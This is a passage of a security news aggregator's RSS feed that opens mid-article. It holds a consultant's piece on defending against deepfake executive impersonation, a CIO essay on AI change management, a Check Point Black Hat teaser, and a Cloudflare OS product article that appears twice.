<p class="wp-block-paragraph">Two years ago, I sat across from a chief financial officer who had just spent forty minutes on a video call authorizing what he believed was a legitimate acquisition payment. The call included his CEO and two board members, all speaking in familiar voices, all making the kind of small unscripted comments that make a meeting feel real. None of them were real. The audio had been cloned from earnings call recordings, and the video was built from conference footage pulled off YouTube.</p>



<p class="wp-block-paragraph">What gave it away wasn’t a glitch or a blurred hand. It was a pause. The CFO asked about a side conversation from the previous week that only the real CEO would have known, and the voice on the other end hesitated half a second too long before answering. That hesitation stopped a seven-figure transfer.</p>



<p class="wp-block-paragraph">It also taught me something I have carried into every engagement since. Executive impersonation has moved from a theoretical AI risk category into an active enterprise security problem, and detection and response capability lags materially behind attacker capability.</p>



<h2 class="wp-block-heading"><a></a>The detection tooling gap</h2>



<p class="wp-block-paragraph">When clients ask me what to buy first, I tell them to slow down. The tooling landscape for synthetic media is real, but it is not mature, and treating it as solved creates false confidence at exactly the moment confidence gets tested.</p>



<p class="wp-block-paragraph">Audio and video forensics tools scan a file after the fact for artifacts synthetic generation tends to leave behind. They are genuinely useful in a post-incident review, where there is time to run deeper analysis. They are far less useful in the middle of a live call, where a decision has to get made in seconds rather than hours.</p>



<p class="wp-block-paragraph">Liveness detection tries to solve that timing problem by checking for signs of life during the interaction itself, rather than analyzing a file afterward. The trouble is that these systems were mostly built for identity verification at onboarding, a single controlled check at a fixed point in time. Retrofitting them into an unplanned executive call is still mostly aspirational, and most vendors will tell you the same thing privately even while marketing otherwise.</p>



<p class="wp-block-paragraph">The MITRE ATLAS knowledge base, which catalogs real-world adversarial attacks against AI systems, now documents deepfake-based identity verification bypass as an<a href="https://atlas.mitre.org/studies/AML.CS0034"> established attack pattern</a> rather than an edge case. That matters for CISOs because it confirms this is not a hypothetical gap security vendors invented to sell tools. It is a documented technique with case studies attached.</p>



<p class="wp-block-paragraph">What senior executives specifically need, and what the market still doesn’t reliably offer, is verification that works in the moment a request is made rather than after the fact. Until that exists at scale, the tooling has to sit inside a broader protocol rather than stand in for one.</p>



<h2 class="wp-block-heading"><a></a>A framework enterprise teams can deploy now</h2>



<p class="wp-block-paragraph">Tooling alone will not close this gap, so the operational framework matters more than any single product. Here is what I put in place with clients, organized around five actions.</p>



<ol class="wp-block-list">
<li><strong>Verify. </strong>Multi-factor human verification for executive-level communications means more than a callback. It means a pre-agreed authentication phrase for the small circle of people who can approve high-sensitivity or high-value actions, changed on a schedule and never guessable from a public LinkedIn bio. It means out-of-band confirmation as a hard requirement, not a courtesy, for any request involving money, credentials or a change to standing instructions. I watched this stop an attack outright. A caller using a cloned voice of an executive asked a colleague for help with a confidential wire. The colleague asked for the agreed phrase, and the line went dead within seconds.</li>



<li><strong>Detect. </strong>This is not about buying a detection tool. It is about continuously monitoring the executive’s digital identity surface before an attacker even builds the deepfake. That includes tracking domain squatting on the executive’s name, watching for social profile impersonation, and knowing where voice samples are already sitting in public conference recordings and podcast appearances that an attacker could pull from tomorrow. Most security teams monitor the network. Very few monitor the raw material an attacker needs to build a convincing fake in the first place.</li>



<li><strong>Respond. </strong>When an impersonation attempt is identified or succeeds, the response playbook needs to specify who freezes a transaction, who pulls the call recording before it disappears, and who brings in forensics immediately so there is a documented basis for every decision that follows. It needs a defined escalation path that does not depend on the target believing something is wrong, because most executives will not report a strange call themselves. Build the reporting habit around the transaction, not the suspicion.</li>



<li><strong>Train. </strong>Executive protection training has to include impersonation awareness now, and not just for the executive. Assistants, chiefs of staff and family office contacts are frequently the actual point of contact an attacker targets, since they often have more standing authority to approve something quickly than the executive expects them to use. This has to be a working habit, not a slide deck people sit through once a year.</li>



<li><strong>Integrate. </strong>Executive impersonation cannot sit inside a single team’s silo. It needs coordination between security operations, communications, legal and executive protection, because a voice clone built from a podcast appearance does not touch a single system any one of those functions monitors on its own.<a href="https://www.csoonline.com/article/3982379/deepfake-attacks-are-inevitable-cisos-cant-prepare-soon-enough.html"> A CSO Online feature on deepfake defense</a> documented an almost identical wire fraud case and reached a similar conclusion that the organizations recovering fastest were the ones that had already rehearsed the coordination across teams before an incident forced it.</li>
</ol>



<h2 class="wp-block-heading"><a></a>Where the market hasn’t caught up</h2>



<p class="wp-block-paragraph">Even programs built around all five of those actions still run into gaps that no enterprise has fully closed.</p>



<p class="wp-block-paragraph">The first is the personal exposure gap. Most protocols assume the target is inside a corporate communication channel. Attackers are increasingly working the other direction, reaching family members or personal devices where none of the corporate verification steps apply at all.</p>



<p class="wp-block-paragraph">The second is the public-facing gap. Livestreams of major corporate events have been hijacked by deepfakes of the company’s own executives, often promoting cryptocurrency scams, with fake feeds sometimes drawing sizeable audiences before takedown. That is not an internal fraud scenario a SOC playbook was built for. It is a brand and platform-level impersonation that needed coordination with a video platform in real time, and almost nobody has that relationship pre-built. The security team needing to reach a platform’s off-hours trust and safety escalation path in the middle of a live event is functionally starting from zero every time, and the incident is often over by the time the right internal owner on the platform side is even identified.</p>



<p class="wp-block-paragraph">The third is measurement. Very few security teams can currently tell their board how prepared they actually are for this category of risk, because the tabletop exercises that would surface the gaps are still rare. Boards are starting to ask the question anyway, often after reading about another company’s incident rather than their own, and a security leader without a rehearsed answer is at a real disadvantage in that conversation.</p>



<p class="wp-block-paragraph">Back to that CFO on the video call. What saved him was not a tool. It was a habit, built well before the attack, of treating a hesitation as reason enough to stop. That is still the most reliable control available, and it will remain the most reliable control until the rest of this framework catches up to it.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Enterprise-wide AI transformation starts with change management]]></title>
<description><![CDATA[Technology leaders are facing a sobering reality: They’re investing heavily in AI, yet many initiatives continue to struggle to move beyond experimentation and pilot programs. For example, Gartner found only 28% of AI use cases in infrastructure and operations fully succeed and meet ROI expectati...]]></description>
<link>https://tsecurity.de/de/3709645/it-nachrichten/enterprise-wide-ai-transformation-starts-with-change-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709645/it-nachrichten/enterprise-wide-ai-transformation-starts-with-change-management/</guid>
<pubDate>Fri, 07 Aug 2026 11:25:14 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Technology leaders are facing a sobering reality: They’re investing heavily in AI, yet many initiatives continue to struggle to move beyond experimentation and pilot programs. For example, Gartner found only <a href="https://www.gartner.com/en/newsroom/press-releases/2026-04-07-gartner-says-artificial-intelligence-projects-in-infrastructure-and-operations-stall-ahead-of-meaningful-roi-returns">28%</a> of AI use cases in infrastructure and operations fully succeed and meet ROI expectations, while 20% fail outright.</p>



<p class="wp-block-paragraph">The conversation around AI often focuses on models, tools and technical capabilities. Those decisions matter, but in my experience, they are rarely the only factors that determine success. The organizations realizing meaningful value from AI are also focused on operational readiness, governance, employee adoption and measurable outcomes.</p>



<p class="wp-block-paragraph">As both CIO and CDO, I spend a lot of time helping our organization navigate AI adoption while balancing the needs of our internal teams, our clients and running 24×7 secure operations. What I have learned is that AI transformation depends on how well the organization understands its data, improves its business processes and prepares people to work differently.</p>



<p class="wp-block-paragraph">I sometimes describe my role as being the organization’s traffic light. The green lights are easy – these are moments when the right answer is to accelerate. There are also moments when we need to slow down. As leaders, we must assess when we need to focus on the fundamentals and make sure the organization is ready for what comes next. And the most important decisions are the red lights – when we prevent the organization from spending time, money and energy on the wrong things.</p>



<h2 class="wp-block-heading">AI adoption breaks down when it does not fit how people work</h2>



<p class="wp-block-paragraph">One common misconception about AI transformation is that deployment automatically creates adoption. In practice, adoption happens when employees understand how the technology improves their work and have confidence in how it fits into their day-to-day responsibilities.</p>



<p class="wp-block-paragraph">I have seen AI pilots work well with small groups of users and then encounter challenges when expanded across larger teams. The technology may perform as expected, but the operating environment changes. Teams follow different workflows. Information is managed differently across functions. Employees have different levels of trust in the data. Success is not always measured the same way.</p>



<p class="wp-block-paragraph">These are readiness, process and change management issues.</p>



<p class="wp-block-paragraph">We saw similar lessons during our own transformation work. As part of a broader modernization program, we consolidated more than 50 engineering tools into one software delivery platform supporting thousands of developers. The technical migration mattered, but the bigger effort was helping teams adopt new ways of working and establish common practices.</p>



<p class="wp-block-paragraph">Anyone who has asked developers to move away from their favorite tools knows that change management is real. That experience reinforced a lesson: Transformation succeeds when people understand the value of the change, have the right support and can see how it improves the work they do every day.</p>



<p class="wp-block-paragraph">The same principle applies to AI.</p>



<p class="wp-block-paragraph">When we began introducing AI capabilities internally, we avoided a broad rollout from day one. Rolling AI out to thousands of employees is a process of education, adoption support and continuous learning. We introduced capabilities in phases, helped employees understand use cases relevant to their role and gave teams room to build confidence over time. Different teams adopt AI differently, so we found that cohort-based deployment and tailored change management created better long-term adoption than broad enterprise-wide rollouts.</p>



<p class="wp-block-paragraph">Pilots often succeed because the variables are limited. Production environments introduce the realities of the enterprise: inconsistent processes, disconnected data, unclear ownership and varying levels of employee readiness. In many cases, issues that surface during scaling can be traced back to operating model decisions, process gaps or unclear expectations.</p>



<p class="wp-block-paragraph">Employees need to understand where AI fits, when human judgment remains essential and how success will be measured. Without that clarity, scaling becomes much harder.</p>



<h2 class="wp-block-heading">Creating the operational conditions for AI success</h2>



<p class="wp-block-paragraph">The most successful AI transformations start before AI is introduced.</p>



<p class="wp-block-paragraph">They begin with understanding where employees experience friction. In most enterprises, those opportunities are not difficult to find. Repetitive administrative work and manual handoffs consume time and slow the business down. Employees directly in the workflows have the clearest view of where these issues exist.</p>



<p class="wp-block-paragraph">When we launched our own efficiency and transformation program, we deliberately did not start with AI. We started by evaluating our data, reviewing business processes and identifying opportunities to simplify how work was performed. We found that simplifying and standardizing workflows before introducing AI significantly reduced complexity during deployment. Rather than asking AI to compensate for fragmented processes, we focused first on creating a consistent operational foundation. We focused first on process improvement, automation and operational discipline. Once those foundations were in place, we began layering AI into the environment.</p>



<p class="wp-block-paragraph">AI outcomes are heavily influenced by the quality of the processes and the data along with the governance structures supporting them. If the underlying process is inconsistent, AI will struggle to create consistent value. If the process is understood, governed and measurable, AI has a much stronger foundation.</p>



<p class="wp-block-paragraph">I often say that good data and good processes deliver good AI outcomes. That continues to hold true regardless of the model or technology being deployed.</p>



<p class="wp-block-paragraph">The real challenge is making sure employees know what AI is using, where it fits in the workflow and when they should rely on the output. If that is unclear, adoption slows. People may not trust the answer, may use the tool inconsistently or may avoid changing how work gets done.</p>



<p class="wp-block-paragraph">Before scaling AI, leaders need to answer a few basic questions. What problem are we solving? Is the process consistent enough? Is the data reliable enough? Where does human judgment still matter? And how will we know whether the tool is improving the work? Those questions determine whether AI becomes part of how teams operate.</p>



<h2 class="wp-block-heading">Measure outcomes before you scale</h2>



<p class="wp-block-paragraph">AI programs often lose momentum when leaders measure activity instead of impact. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-06-30-gartner-survey-finds-forty-five-percent-of-organizations-with-high-artificial-intelligence-maturity-keep-artificial-intelligence-projects-operational-for-at-least-three-years?">63% of high-maturity organizations</a> implement formal metrics to evaluate transformation efforts.</p>



<p class="wp-block-paragraph">Leaders often track how many employees have access to AI, how many licenses have been provisioned or how many use cases have been launched. Those metrics can be useful, but they do not always show whether the organization is creating business value. Activity is not the same as impact.</p>



<p class="wp-block-paragraph">The more meaningful indicators are instead tied to operational performance: support ticket volumes, incident reduction, productivity improvements, user experience, cycle times and service quality.</p>



<p class="wp-block-paragraph">We have seen the value of this approach firsthand. As part of our transformation program, we standardized service delivery processes and moved hundreds of teams onto a common service management platform. In our own experience, process improvements and platform consolidation initially reduced support ticket volumes by approximately 30%.</p>



<p class="wp-block-paragraph">After that foundation was established, additional automation and AI capabilities helped drive reductions closer to 70%.</p>



<p class="wp-block-paragraph">The initial improvement came from better processes and greater operational consistency. Automation and AI then helped accelerate the results. That is the pattern leaders should look for: Identify where work slows down, improve the process, establish accountability and introduce AI where the environment is ready to support it.</p>



<p class="wp-block-paragraph">This approach also helps build trust. Employees can see the value being created. Leaders can measure progress. Teams can learn from early deployments before scaling more broadly.</p>



<h2 class="wp-block-heading">Preparing people is the real AI strategy</h2>



<p class="wp-block-paragraph">Technology adoption has always been closely connected to people.</p>



<p class="wp-block-paragraph">Employees are more likely to embrace change when they understand how technology helps them be more effective. They need practical experience, clear expectations and opportunities to learn. AI introduces new ways of working, and organizations need to prepare employees for that shift.</p>



<p class="wp-block-paragraph">In our own organization, we encouraged every employee to establish an AI-related learning goal because familiarity with emerging technologies is becoming part of every role. Some goals were simple. Some were more advanced. The important point was creating a culture where people continue to learn and understand how AI applies to their work versus forcing AI activity broadly all at once.</p>



<p class="wp-block-paragraph">As AI becomes more embedded in enterprise operations, organizations with strong foundations in governance, process discipline and workforce readiness will be better positioned to capture long-term value.</p>



<p class="wp-block-paragraph">The companies realizing the greatest value from AI are investing in technology while also strengthening the operating models, information management practices and employee capabilities that support adoption. Sustainable transformation requires attention to people, processes, data and technology.</p>



<p class="wp-block-paragraph">Preparing people, building trust and creating clear operating models remain central to any successful AI strategy.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Black Hat 2026: Check Point Research Takes the Stage]]></title>
<description><![CDATA[Black Hat USA 2026 gave Check Point Research four chances to show the room something it hadn’t seen before. Across two days, our researchers pulled apart a decade-old Windows driver, a malware format most tools can’t touch, the plumbing underneath today’s AI agent frameworks, and the sandbox mean...]]></description>
<link>https://tsecurity.de/de/3709424/it-security-nachrichten/black-hat-2026-check-point-research-takes-the-stage/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709424/it-security-nachrichten/black-hat-2026-check-point-research-takes-the-stage/</guid>
<pubDate>Fri, 07 Aug 2026 04:20:14 +0200</pubDate>
<content:encoded><![CDATA[<img width="1702" height="1027" src="https://blog.checkpoint.com/wp-content/uploads/2026/08/bh-2026-image-scaled-e1786043096162.jpeg" class="webfeedsFeaturedVisual wp-post-image" alt="" link_thumbnail="" decoding="async" fetchpriority="high" srcset="https://blog.checkpoint.com/wp-content/uploads/2026/08/bh-2026-image-scaled-e1786043096162.jpeg 1702w, https://blog.checkpoint.com/wp-content/uploads/2026/08/bh-2026-image-scaled-e1786043096162-300x181.jpeg 300w, https://blog.checkpoint.com/wp-content/uploads/2026/08/bh-2026-image-scaled-e1786043096162-1024x618.jpeg 1024w, https://blog.checkpoint.com/wp-content/uploads/2026/08/bh-2026-image-scaled-e1786043096162-768x463.jpeg 768w, https://blog.checkpoint.com/wp-content/uploads/2026/08/bh-2026-image-scaled-e1786043096162-1536x927.jpeg 1536w, https://blog.checkpoint.com/wp-content/uploads/2026/08/bh-2026-image-scaled-e1786043096162-400x241.jpeg 400w, https://blog.checkpoint.com/wp-content/uploads/2026/08/bh-2026-image-scaled-e1786043096162-1320x796.jpeg 1320w" sizes="(max-width: 1702px) 100vw, 1702px"><p>Black Hat USA 2026 gave Check Point Research four chances to show the room something it hadn’t seen before. Across two days, our researchers pulled apart a decade-old Windows driver, a malware format most tools can’t touch, the plumbing underneath today’s AI agent frameworks, and the sandbox meant to contain them, and found the same pattern waiting in each: attackers moving into the layers we trust by default. Here’s a look at what they presented. BTR Reforged: The Driver Nobody Had Looked At Jiří Vinopal opened the day with a talk that started from an uncomfortable premise. Somewhere inside Windows […]</p>
<p>The post <a href="https://blog.checkpoint.com/research/black-hat-2026-check-point-research-takes-the-stage/">Black Hat 2026: Check Point Research Takes the Stage</a> appeared first on <a href="https://blog.checkpoint.com/">Check Point Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cloudflare wants to provide the operating system for the AI-first enterprise]]></title>
<description><![CDATA[Traditional operating systems (OS) were built to manage hardware, files, apps, and users on a device, but Cloudflare says the agentic AI era requires a whole new format.



The company this week announced Cloudflare OS, which connects AI agents, enterprise data and context, internal systems, and ...]]></description>
<link>https://tsecurity.de/de/3709405/ai-nachrichten/cloudflare-wants-to-provide-the-operating-system-for-the-ai-first-enterprise/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709405/ai-nachrichten/cloudflare-wants-to-provide-the-operating-system-for-the-ai-first-enterprise/</guid>
<pubDate>Fri, 07 Aug 2026 03:42:40 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Traditional operating systems (OS) were built to manage hardware, files, apps, and users on a device, but Cloudflare says the agentic AI era requires a whole new format.</p>



<p class="wp-block-paragraph">The company this week announced <a href="https://www.cloudflare.com/press/press-releases/2026/cloudflare-os-is-the-first-ai-workspace-built-around-how-companies-actually-work/" target="_blank" rel="noreferrer noopener">Cloudflare OS</a>, which connects AI agents, enterprise data and context, internal systems, and workflows together in one secure workspace. It is open source and browser-based, sparing companies the need to build all-new infrastructure.</p>



<p class="wp-block-paragraph">The OS is launching alongside several other new security, identity, spending, and user insight tools that Cloudflare has built for the <a href="https://www.infoworld.com/article/2255318/what-is-cloud-native-the-modern-way-to-develop-software.html" target="_blank">AI-based workplace</a>.</p>



<p class="wp-block-paragraph">“Cloudflare OS isn’t a traditional desktop OS,” said <a href="https://www.linkedin.com/in/ritakozlov/" target="_blank" rel="noreferrer noopener">Rita Kozlov</a>, VP of product at Cloudflare. “It reimagines the workplace computing environment for AI.”</p>



<h2 class="wp-block-heading">Open source OS runs in a browser</h2>



<p class="wp-block-paragraph">Cloudflare OS serves as a secure, AI-equipped workspace that is plugged into internal company systems. Available now through Cloudflare’s open source repository, it is accessible directly in a browser, and runs inside an enterprise’s Cloudflare account.</p>



<p class="wp-block-paragraph">“It is a browser-based workspace that begins with a conversation,” Kozlov explained. Users can ask an agent to research, create slides, spreadsheets, and documents, build full-stack apps, or automate workflows without the need for a terminal. Those outputs are then shareable, but kept in isolated databases with access controls.</p>



<p class="wp-block-paragraph">Enterprises will soon be able to access the OS directly through Cloudflare or via a “select group” of partners that will build tailored offerings on Cloudflare’s architecture, the company says. Because it is open source, organizational processes, internal system connections, and context aren’t locked into a vendor product or AI model provider. Customers can use whatever models they choose.</p>



<p class="wp-block-paragraph">Cloudflare OS is built on Cloudflare Workers, <a href="https://www.infoworld.com/article/4149869/cloudflare-launches-dynamic-workers-for-ai-agent-execution.html" target="_blank">Dynamic Workers</a>, Durable Objects, and Access, the company’s zero trust network access (ZTNA) tool that verifies every user and request. Agents start with zero permissions by default and are only granted access to tools required for a specific task. Organizations configure their own Access policies, models, branding, skills, and integrations, Kozlov explained.</p>



<p class="wp-block-paragraph">Governed connectors known as gatekeepers give admins control over what AI can see, what it can change, and when the system needs human sign-off. They can also control budgets, set rate limits, and delegate tasks to different models.</p>



<p class="wp-block-paragraph">“Because <a href="https://www.infoworld.com/article/4165857/are-we-ready-to-give-ai-agents-the-keys-to-the-cloud-cloudflare-thinks-so.html" target="_blank">agents act on people’s behalf</a> and produce work others can access and modify, they require a new security model,” Kozlov said. Thus, Cloudflare OS tracks the resources an agent requires so the right access controls follow its work when it is shared.</p>



<p class="wp-block-paragraph">Cloudflare initially built the OS for internal use, and employees “across every team” use it daily. Kozlov estimated that, over the last 30 days, internal users have used it to create more than 4,000 apps, automations, and tools. Over that same period, she claimed, the company’s sales team saved an estimated 10,000 hours by automating previously manual tasks like territory planning and proposal creation.</p>



<p class="wp-block-paragraph">“We open sourced Cloudflare OS so any organization can build ‘Your Company OS,’” Kozlov said. Open source is critical because “you cannot put your company into software you do not own. Organizations need to be able to inspect the platform, customize it, connect their own systems, and make it their own,” she explained.</p>



<h2 class="wp-block-heading">A more cohesive bundle</h2>



<p class="wp-block-paragraph">Cloudflare deserves credit for packaging Cloudflare OS as an operating system, noted tech analyst <a href="https://ca.linkedin.com/in/carmi" target="_blank" rel="noreferrer noopener">Carmi Levy</a>.</p>



<p class="wp-block-paragraph">“This very much is not Windows, macOS, or Linux, and it isn’t an operating system by its common definition,” he said. “But Cloudflare’s use of this terminology implies familiarity to enterprise IT buyers.”</p>



<p class="wp-block-paragraph">This makes for an easier discussion as enterprises struggle to understand how to best incorporate AI-related platforms and workflows into infrastructure that wasn’t initially designed for it.</p>



<p class="wp-block-paragraph">Microsoft has marketed the combination of its Azure, Entra, Fabric, Windows, and Microsoft 365 offerings as an operating system of sorts, but hasn’t pulled all the pieces into a common brand, Levy said. And Google’s Gemini, Workspace, Vertex AI, and Cloud Run are “circling similar territory.”</p>



<p class="wp-block-paragraph">But, he noted, Cloudflare OS is “more cohesively bundled” and infrastructure-focused, offering a single pane of glass platform for buyers worried about stitching together otherwise disparate AI-aware networking pieces. The company recognizes that AI introduces new architectural realities such as inference and model routing “over and above” traditional OS core competencies.</p>



<p class="wp-block-paragraph">“While competing offerings generally leave the infrastructure heavy lifting to enterprise decision-makers, Cloudflare is marketing itself as a single-source vendor, which potentially frees IT planners from having to integrate all the AI pieces on their own,” Levy said.</p>



<p class="wp-block-paragraph">An infrastructure-first, application-agnostic approach means Cloudflare OS can coexist with whatever AI applications already exist in an enterprise, he said. It will “play nice” with OpenAI, Anthropic, Google, Microsoft, Meta, or open source layers, allowing employees to begin working in familiar workflows after sign-in.</p>



<p class="wp-block-paragraph">“Its open-source architecture also minimizes the potential for vendor lock-in as enterprises gradually figure out how to evolve their stacks to align with new AI-era realities,” Levy said.</p>



<h2 class="wp-block-heading">Managing identities and budgets for both humans and AI</h2>



<p class="wp-block-paragraph">As AI agents emerge across the enterprise, tracking their use can be challenging, causing problems from both a security and a spend standpoint. Along with Cloudflare OS, the company has launched a way to address this issue with its new <a href="https://www.cloudflare.com/press/press-releases/2026/cloudflare-gives-companies-full-visibility-to-audit-and-analyze-ai-use/" target="_blank" rel="noreferrer noopener">Identity-Aware AI Gateway</a>, now in beta.</p>



<p class="wp-block-paragraph">Also integrated with Access, the offering gives admins visibility into what users (both human and AI) are requesting from AI models. It allows security teams to set up custom domains in front of their gateways and replace shared API keys by integrating with their identity provider, like Okta or Entra, and ZTNA infrastructure, Cloudflare explained.</p>



<p class="wp-block-paragraph">Every request is tied to Access-verified identities, and enterprises can filter each user’s logs, analytics, and spend. IT teams can track redundancies, limit usage rates, and apply filters that strip out employee names, passwords, and other sensitive data before requests go to outside model providers.</p>



<p class="wp-block-paragraph">A companion feature, AI Spend, tracks every user’s behavior over time to create a baseline of normal AI usage. When spending deviates from that pattern, the system alerts the IT team.</p>



<p class="wp-block-paragraph">A new tab, User Insights, tracks cost and identifies over-spend caused by activities such as low cache-hit rates or oversized context windows. The capability scores sessions and compares them against account history using a 95th percentile session cost over the previous 30 days, Cloudflare product managers <a href="https://blog.cloudflare.com/author/ming-lu/" target="_blank" rel="noreferrer noopener">Ming Lu</a>, <a href="https://blog.cloudflare.com/author/kenny/" target="_blank" rel="noreferrer noopener">Kenny Johnson</a>, and <a href="https://blog.cloudflare.com/author/ayush/" target="_blank" rel="noreferrer noopener">Ayush Kumar</a> explain in a <a href="https://blog.cloudflare.com/identity-aware-ai-gateway/" target="_blank" rel="noreferrer noopener">blog post</a>. Anything above 2x an account’s 95th percentile is a “strong candidate for anomalous behavior.”</p>



<p class="wp-block-paragraph">For instance, one Cloudflare customer had an employee who left a rogue AI session running, generating a $30K bill. “User Insights helped them identify the problem and shut off access before the problem was further exacerbated,” Kozlov said.</p>



<p class="wp-block-paragraph">Cloudflare is also building prompt classification functionality that sorts requests into categories such as coding or writing. This can help enterprises understand what AI is being used for.</p>



<p class="wp-block-paragraph">“Once business traffic is separated from everything else, personal use becomes visible,” the project managers explained. “From the outside, someone running a side hustle on company time and someone quietly moving data out through a model look the same. Telling them apart is central to catching insider risk.”</p>



<h2 class="wp-block-heading">Looking at the bigger picture</h2>



<p class="wp-block-paragraph">Identity-Aware AI Gateway and AI Spend address the visibility problem that has dogged so many recent AI deployments where enterprises failed to monitor usage, Levy noted. Projects “crashed and burned” as users unwittingly blew through token allocations.</p>



<p class="wp-block-paragraph">These platforms provide single-point visibility into what is being used, how it’s being used, and where the potential lies for raising the productivity bar, he said. They overlay with existing models; in doing so, they enhance security with more precise control over resource allocations, and via automated anonymization protocols that prevent inadvertent sharing of sensitive data.</p>



<p class="wp-block-paragraph">Ultimately, he said, vendors who free IT from having to independently assemble the pieces of their own AI implementations, and who assist them with answers to AI-specific questions, “will gain advantage over vendors that aren’t looking at the bigger picture.</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4206332/cloudflare-wants-to-provide-the-operating-system-for-the-ai-first-enterprise.html" target="_blank">CIO.com</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cloudflare wants to provide the operating system for the AI-first enterprise]]></title>
<description><![CDATA[Traditional operating systems (OS) were built to manage hardware, files, apps, and users on a device, but Cloudflare says the agentic AI era requires a whole new format.



The company this week announced Cloudflare OS, which connects AI agents, enterprise data and context, internal systems, and ...]]></description>
<link>https://tsecurity.de/de/3709231/it-security-nachrichten/cloudflare-wants-to-provide-the-operating-system-for-the-ai-first-enterprise/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709231/it-security-nachrichten/cloudflare-wants-to-provide-the-operating-system-for-the-ai-first-enterprise/</guid>
<pubDate>Fri, 07 Aug 2026 02:38:25 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Traditional operating systems (OS) were built to manage hardware, files, apps, and users on a device, but Cloudflare says the agentic AI era requires a whole new format.</p>



<p class="wp-block-paragraph">The company this week announced <a href="https://www.cloudflare.com/press/press-releases/2026/cloudflare-os-is-the-first-ai-workspace-built-around-how-companies-actually-work/" target="_blank" rel="noreferrer noopener">Cloudflare OS</a>, which connects AI agents, enterprise data and context, internal systems, and workflows together in one secure workspace. It is open source and browser-based, sparing companies the need to build all-new infrastructure.</p>



<p class="wp-block-paragraph">The OS is launching alongside several other new security, identity, spending, and user insight tools that Cloudflare has built for the <a href="https://www.infoworld.com/article/2255318/what-is-cloud-native-the-modern-way-to-develop-software.html" target="_blank">AI-based workplace</a>.</p>



<p class="wp-block-paragraph">“Cloudflare OS isn’t a traditional desktop OS,” said <a href="https://www.linkedin.com/in/ritakozlov/" target="_blank" rel="noreferrer noopener">Rita Kozlov</a>, VP of product at Cloudflare. “It reimagines the workplace computing environment for AI.”</p>



<h2 class="wp-block-heading">Open source OS runs in a browser</h2>



<p class="wp-block-paragraph">Cloudflare OS serves as a secure, AI-equipped workspace that is plugged into internal company systems. Available now through Cloudflare’s open source repository, it is accessible directly in a browser, and runs inside an enterprise’s Cloudflare account.</p>



<p class="wp-block-paragraph">“It is a browser-based workspace that begins with a conversation,” Kozlov explained. Users can ask an agent to research, create slides, spreadsheets, and documents, build full-stack apps, or automate workflows without the need for a terminal. Those outputs are then shareable, but kept in isolated databases with access controls.</p>



<p class="wp-block-paragraph">Enterprises will soon be able to access the OS directly through Cloudflare or via a “select group” of partners that will build tailored offerings on Cloudflare’s architecture, the company says. Because it is open source, organizational processes, internal system connections, and context aren’t locked into a vendor product or AI model provider. Customers can use whatever models they choose.</p>



<p class="wp-block-paragraph">Cloudflare OS is built on Cloudflare Workers, <a href="https://www.infoworld.com/article/4149869/cloudflare-launches-dynamic-workers-for-ai-agent-execution.html" target="_blank">Dynamic Workers</a>, Durable Objects, and Access, the company’s zero trust network access (ZTNA) tool that verifies every user and request. Agents start with zero permissions by default and are only granted access to tools required for a specific task. Organizations configure their own Access policies, models, branding, skills, and integrations, Kozlov explained.</p>



<p class="wp-block-paragraph">Governed connectors known as gatekeepers give admins control over what AI can see, what it can change, and when the system needs human sign-off. They can also control budgets, set rate limits, and delegate tasks to different models.</p>



<p class="wp-block-paragraph">“Because <a href="https://www.infoworld.com/article/4165857/are-we-ready-to-give-ai-agents-the-keys-to-the-cloud-cloudflare-thinks-so.html" target="_blank">agents act on people’s behalf</a> and produce work others can access and modify, they require a new security model,” Kozlov said. Thus, Cloudflare OS tracks the resources an agent requires so the right access controls follow its work when it is shared.</p>



<p class="wp-block-paragraph">Cloudflare initially built the OS for internal use, and employees “across every team” use it daily. Kozlov estimated that, over the last 30 days, internal users have used it to create more than 4,000 apps, automations, and tools. Over that same period, she claimed, the company’s sales team saved an estimated 10,000 hours by automating previously manual tasks like territory planning and proposal creation.</p>



<p class="wp-block-paragraph">“We open sourced Cloudflare OS so any organization can build ‘Your Company OS,’” Kozlov said. Open source is critical because “you cannot put your company into software you do not own. Organizations need to be able to inspect the platform, customize it, connect their own systems, and make it their own,” she explained.</p>



<h2 class="wp-block-heading">A more cohesive bundle</h2>



<p class="wp-block-paragraph">Cloudflare deserves credit for packaging Cloudflare OS as an operating system, noted tech analyst <a href="https://ca.linkedin.com/in/carmi" target="_blank" rel="noreferrer noopener">Carmi Levy</a>.</p>



<p class="wp-block-paragraph">“This very much is not Windows, macOS, or Linux, and it isn’t an operating system by its common definition,” he said. “But Cloudflare’s use of this terminology implies familiarity to enterprise IT buyers.”</p>



<p class="wp-block-paragraph">This makes for an easier discussion as enterprises struggle to understand how to best incorporate AI-related platforms and workflows into infrastructure that wasn’t initially designed for it.</p>



